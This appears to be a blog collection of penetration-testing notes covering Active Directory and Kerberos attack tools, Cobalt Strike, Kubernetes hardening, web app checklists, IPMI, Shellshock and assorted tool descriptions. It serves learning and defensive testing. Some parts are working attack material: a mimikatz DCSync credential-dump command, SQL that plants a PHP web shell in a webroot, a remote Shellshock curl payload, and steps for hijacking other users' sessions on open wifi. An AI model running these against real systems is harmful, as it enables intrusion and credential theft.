AD and Kerberos PenTest

Here, I keep the notes on the commands and tools/scripts used for pentest on AD and Kerberos.  

 

Reconnaissance Commands:

c:\> net user

c:\> whoami

c:\> whoami /groups

c:\> net user /domain

c:\> net user [username] domain

Brute Force Active Directory:

msf > use auxiliary/scanner/smb/smb_login

mimikatz # lsadump::dcsync /domain:pentestlab.local /all /csv

 

Kerberos brute-force:

1. kerbrute - Linux tool
2. Rubeus - Windows module

ASREPRoast and Kerberoasting

1. GetNPUsers.py
2. Rubeus

Cracking the AS_REP and TGS

1. Hashcat
2. John

Overpass The Hash/Pass The Key (PTK)

1. getTGT.py
2. Rubeus and PsExec
   

 Pass The Ticket (PTT)

1.  tickey
2. Mimikatz or Rubeus
   

Silver ticket and Golden ticket:

1. ticketer.py
2. Mimikatz, Rubeus and PsExec

 

Links:

• Active Directory Penetration Testing Checklist
• AD Recon (GitHub)
  
• Kerberos (II): How to attack Kerberos?
• kerbrute (GitHub) 
• Rubeus (GitHub)
  

Cobalt Strike and Pentest

Cobalt Strike is a commercial penetration testing tool, which gives security testers access to a large variety of attack capabilities. It can be used to conduct spear-phishing and gain unauthorized access to systems, and can emulate a variety of malware and other advanced threat tactics.

This powerful network attack platform combines social engineering, unauthorized access tools, network pattern obfuscation and a sophisticated mechanism for deploying malicious executable code on compromised systems. It can now be used by attackers to deploy advanced persistent threat (APT) attacks against any organization. 

This threat emulation program has the following capabilities:

• Reconnaissance—discovers which client-side software your target uses, with version info to identify known vulnerabilities.
• Attack Packages—provides a social engineering attack engine, creates trojans poised as innocent files such as Java Applets, Microsoft Office documents or Windows programs, and provides a website clone to enable drive-by downloads.
• Collaboration—Cobalt Team Server allows a group host to share information with a group of attackers, communicate in real time and share control of compromised systems.
• Post Exploitation—Cobalt Strike uses Beacon, a dropper that can deploy PowerShell scripts, log keystrokes, takes screenshots, download files, and execute other payloads.
• Covert Communication—enables attackers to modify their network indicators on the fly. Makes it possible to load C2 profiles to appear like another actor, and egress into a network using HTTP, HTTPS, DNS or SMB protocol.
• Browser Pivoting—can be used to get around two-factor authentication.

It is also interesting task to detect Cobalt Strike even it is difficult to do so most of the time, such as 50050/tcp, DNS with bogus reply, TLS cert, etc.

Cobalt Strike is also a post-exploitation framework tool developed for ethical hackers. It gives a post-exploitation agent and covert channels to emulate an embedded actor in your customer’s network.

It can be extended and customized by the user community. Several excellent tools and scripts have been written and published, but they can be challenging to locate. 

Cobalt strike is a premium product. However, like Metasploit, there’s a free community edition called Community Kit. 

Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike. The Cobalt Strike team acts as the curator and provides this kit to showcase this fantastic work.

Links:

• Cobalt Strike: White Hat Hacker Powerhouse in the Wrong Hands
• How Cobalt Strike Becomes a Favorite Tool of Hackers
• cobaltstrike Community Kit 
  

Hacking and Hardening Kubernetes Clusters by Example [I]

Although this is a 4 years old webinar, I found it is still worth for today. The goals of this webinar is to raise the awareness risk in K8s and demonstrate the 'live' hacking and attacking a K8s. It also provides some hardening methods and tips.

• Defaults in use early tend to stay in use.
• Systems hardened late tend to break.
  

The webinar introduces a number of tools for securing K8s and a lot of hardening tips for your K8s cluster.

KubeATF - A tool used to automate the creation, validation, and destruction of K8s in a consistent way.

Bulkhead - A plugin that perform security posture scans on all nodes from within your K8s.

Links:

• KubeATF
• Sonobuoy-plugin - bulkhead
• Webinar slides
• Webinar demos
  

 

Azure Stormspotter

 

StormSpotter

A visualization pentest tool for Azure subscription.

Stormspotter creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.

You can run it with or without docker. Just follow the instruction at https://github.com/Azure/Stormspotter

 

Web Application Penetration Testing Checklist

A great article that can be used as a checklist for perform web application penetration testing (webapp pentesting). 

Pentesting webapp requires a consistent methodology to perform repeatable tasks such as authentication and authorization checking, input validation checking, session management testing, etc.

Here's a detail cheat sheet for webapp pentesting methodology:

1. Information Gathering
2. Authentication Testing
3. Authorization Testing
4. Configuration Management Testing
5. Session Management Testing
6. Data Validation Testing
7. Denial of Service Testing

Links:

• https://gbhackers.com/web-application-penetration-testing-checklist-a-detailed-cheat-sheet/
  

A Pentest Story

This is an interesting story about penetration testing.

It demonstrates the pentest by starting from OSINT, recon, RCE, phishing, social engineering and finally getting a reverse shell access.

Enjoy the story at There is a shell in your lunch-box (by Rotimi Akinyele).

Links:

• https://hakin9.org/shell-lunch-box-rotimi-akinyele/
• Glassdoor - https://www.glassdoor.com/
  

Active Directory Penetration Testing Checklist

A short article that show Active Directory Penetration Testing, including reconnaissance commands and brute force Active Directory.

Links:

• https://gbhackers.com/active-directory-penetration-testing-checklist/
• https://github.com/sense-of-security/ADRecon
  

RCE via MySQL/PHP

This is a simple and effective exploitation at a mis-configured MySQL/PHP server.  

First, use nmap to discover a mis-configured MySQL where root with empty password.

Secondly, connect to the MySQL with mysql client.

$ mysql -u root -h 192.168.1.33

Then create a PHP backdoor with the following SQL command:

MySQL > select 'Hello World' into outfile '/tmp/test' from mysql.user limit 1;

MySQL > select '<?php $output=shell_exec($_GET["cmd"]);echo "<pre>".$output."</pre>"?>' into outfile '/var/www/html/shell.php' from mysql.user limit 1;

Lastly, start exploiting it from the browser:

http://192.168.1.33/shell.php

http://192.168.1.33/shell.php?cmd=id

http://192.168.1.33/shell.php?cmd=ps -eaf

Pentesting IPMI and BMC

Recently, I just learned something about BMC and the IPMI protocol.

Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. 

BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards.

Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. 

There is a research, by Dan Farmer, on the security of the IPMI network protocol that uses UDP port 623.

Links:

• https://www.rapid7.com/blog/post/2013/07/02/a-penetration-testers-guide-to-ipmi/
• GitHub - zenfish/ipmi: IPMI stuff from DARPA work 
• https://www.gnu.org/software/freeipmi/
•  Cracking IPMI Passwords Remotely
•  https://sourceforge.net/p/ipmitool/mailman/message/4064324/

Start Your Own Pentest on Cloud and Container with Atomic Red Team

Atomic Red Team is a collection of small, highly portable detection tests mapped to MITRE ATT&CK®. This gives defenders a highly actionable way to immediately start testing their defenses against a broad spectrum of attacks.

MITRE ATT&CK™ offers the security community a common language to communicate about adversary tactics, techniques, and behaviors. In the articles and resources below, we offer guidance on how security teams can use the framework to expand detection coverage and increase visibility.

Links:

• https://redcanary.com/blog/art-cloud-containers/
• https://redcanary.com/atomic-red-team/ 
• https://redcanary.com/mitre-attack/
  
• https://github.com/redcanaryco/atomic-red-team/
• https://attack.mitre.org/resources/updates/
  

Attack and Defend: The Dangers of Modern Distributed Applications

 My notes:

• Modern application: API Gateway
• Certificate transparency for discovery web target
• JWT web token at https://jwt.io/
  
• OAuth/bearer token Vs session cookies
• OAuth Phantom token, Split token
  
• Static File storage, CDN
  
• Evil JQuery Javascript, https://github.com/JohnHoder/Javascript-Keylogger
• script integrity and crossorigin  attributes at https://www.srihash.org/  
• Monolith VS distributed web architecture 
  

Links:

• https://certificate.transparency.dev/ 
• https://sslmate.com/certspotter/
  

Webinar: Securing Your Windows Infrastructure on Premises and in the Cloud

Today webinar is interesting. It covers 4 demos, and some interesting pentest methodologies on Windows server infrastructure. 

From introducing the Cyber killchain and how NTLM protocol works, a quick demo shows how a hacker can use "pass the hash" technique to compromise from local to domain admin.

Then follow by using "pass the ticket" technique to leverage Kerberos to steal identity/ticket.  

Next, the webinar shows how can we protect LSASS memory by introducing "Credential Guard". 

Last, there is a demo on a techniques to maintain persistence in a Windows system with a Windows Hello, a not so common technique that used by advanced hackers.

Great presentation.

ShellShock Testing

Patch your /usr/bin/bash  NOW. The 'Shellshock' bug blasts OS X, Linux systems wide open. The attack vectors are the CGI scripts to DHCP clients (and maybe more), which will lead to remote-code execution.

Proof of Concept - at local system
A simple test to check if your Bash is vulnerable is available publicly.

$ env var='() { :;}; echo vulnerable' bash -c /bin/true  

Upon running the above command, an affected version of bash will output "vulnerable". Once the patch has been applied, the same test will return the following result.

bash: warning: var: ignoring function definition attempt  bash: error importing function definition for 'var'  

Proof of Concept - to a remote server.

curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" 

A vulnerable web CGI will return uid=48(apache) gid=48(apache) groups=48(apache), and follow by HTML page. A non-vulnerable should return just the HTML page.

Penetration Testing Execution Standard

There is a new homepage created for "Penetration Testing Execution Standard" at http://www.pentest-standard.org/index.php/Main_Page

Although it is still at alpha release, you can see the coverage of many tools. The web site is created in the form of wiki and mind map. Here's the brief summary:

1. Pre-engagement Interactions
2. Intelligence Gathering
3. Threat Modeling
4. Vulnerability Analysis
5. Exploitation
6. Post Exploitation
7. Reporting

Inguma – The Penetration Testing & Vulnerability Research Toolkit

Inguma is a penetration testing toolkit entirely written in python. The framework includes modules to discover hosts, gather information about, fuzz targets, brute force user names and passwords and, of course, exploits. This program provides numerous tools for information gathering, target auditing and limited exploitation capabilities.

There are some good docs to get you up at their wiki site: Installation Guide, Getting Started, Console Quick Start, GUI Quick Start, Full Documentation. Follow them at Inguma Development.

Download it at http://code.google.com/p/inguma/

Google Hacking Database, GHDB, Google Dorks

Remember Johnny Long's Google Hacking Database (GHDB)?

At exploit-DB, it is called 'googledorks': inept or foolish people as revealed by Google. Here are the 2 sites that host the Google Dorks:

• Google Hacking Universe (Exploit-DB) - organized into categories and searchable.
• Google Dorks (by PenTestIT)

THC-IPv6 – Toolkit Attacking the IPV6 Protocol

A complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6, and includes an easy to use packet factory library. Please note to get full access to all the available tools you need to develop IPV6 tools yourself or submit patches, tools and feedback to the thc-ipv6 project.

The tools:

• parasite6: icmp neighbor solitication/advertisement spoofer, puts you as man-in-the-middle, same as ARP mitm (and parasite)
• alive6: an effective alive scanng, which will detect all systems listening to this address
• dnsdict6: parallized dns ipv6 dictionary bruteforcer
• fake_router6: announce yourself as a router on the network, with the highest priority
• redir6: redirect traffic to you intelligently (man-in-the-middle) with a clever icmp6 redirect spoofer
• toobig6: mtu decreaser with the same intelligence as redir6
• detect-new-ip6: detect new ip6 devices which join the network, you can run a script to automatically scan these systems etc.
• dos-new-ip6: detect new ip6 devices and tell them that their chosen IP collides on the network (DOS).
• trace6: very fast traceroute6 with supports ICMP6 echo request and TCP-SYN
• flood_router6: flood a target with random router advertisements
• flood_advertise6: flood a target with random neighbor advertisements
• fuzz_ip6: fuzzer for ipv6
• implementation6: performs various implementation checks on ipv6
• implementation6d: listen daemon for implementation6 to check behind a FW
• fake_mld6: announce yourself in a multicast group of your choice on the net
• fake_mipv6: steal a mobile IP to yours if IPSEC is not needed for authentication
• fake_advertiser6: announce yourself on the network
• smurf6: local smurfer
• rsmurf6: remote smurfer, known to work only against linux at the moment
• sendpees6: a tool by willdamn@gmail.com, which generates a neighbor solicitation requests with a lot of CGAs (crypto stuff  to keep the CPU busy. nice.

Limitations:

• Only support Linux 2.6.x (because of /proc usage)
• 32 Bit
• Ethernet and Raw are supported

Reference:

• more info & download

Andiparos - Web Application Security Assessments Tool

Andiparos is a fork of the famous Paros Proxy. It is an open source web application security assessment tool that gives penetration testers the ability to spider websites, analyze content, intercept and modify requests, etc.

The author did ask for the original authors of Paros Proxy to integrate his changes but was rejected, hence the fork.

The advantage of Andiparos is mainly the support of Client Certificates on Smartcards. Moreover it has several small interface enhancements, making the life easier for penetration testers…

Features:

• Smart card support
• History Filter (URLs)
• Tag requests in history

Reference:

• more info & download

Arachni – Web Application Vulnerability Scanning Framework

Arachni is a feature-full and modular Ruby framework that allows penetration testers and administrators to evaluate the security of web applications. Arachni is smart, it trains itself with every HTTP response it receives during the audit process. Unlike other scanners, Arachni takes into account the dynamic nature of web applications and can detect changes caused while traveling through each path of a web application’s cyclomatic complexity. This way attack/input vectors that would otherwise be undetectable by non-humans are seamlessly handled by Arachni.

The project aims to:

Provide a stable and efficient framework

Developers should be allowed to easily and quickly create and deploy modules with the minimum amount of restrictions imposed upon them, while provided with the necessary infrastructure to accomplish their goals. Module writers should be able to take full advantage of the Ruby language under a unified framework that will increase their productivity without stifling them or complicating their tasks. Basically, give them the right tools for the job and get the hell out of their way.

Be simple

Well, not simple in general. Some parts of the framework are fairly complex. However, the module and report APIs are very similar and very simple.

Be developer and user friendly

Users should be able to make the most out of Arachni without being confused or overwhelmed. Developers unfamiliar with the framework should be able to write working modules and reports immediately after a small glance at an existing one.

Reference:

• more info & download

sessionthief – HTTP Session Cloning & Cookie Stealing Tool

sessionthief performs HTTP session cloning by cookie stealing. It can issue basic nmap and nbtscan commands to see which IPs are on the subnet, or just listen for IPs broadcasting packets. It can quickly perform ARP poison routing to get packets given the IP of the client if not on an open network or hub, and should also work with interfaces in monitor mode. It integrates automatically with Firefox, dynamically creating a temporary profile for each attack performed. In this way, in contrast to tools like the middler, it doesn’t require any additional configuration, and makes it easy to simultaneously own multiple logins to the same site.

For example, if multiple clients on the open or WEP-encrypted wireless network you are on are on Facebook (or yahoo mail or just about any site you log into), you can:

1. Start the program
2. Select your interface
3. Hit watch
4. Select a request from each of them to Facebook, and click the session button.

The program will start a new instance of firefox for each session hacked, and let you control the login of all of them at once. It compiles and runs on linux and windows depending on the pcap and wxwidgets libraries.

Reference:

• Download sessionthief for more info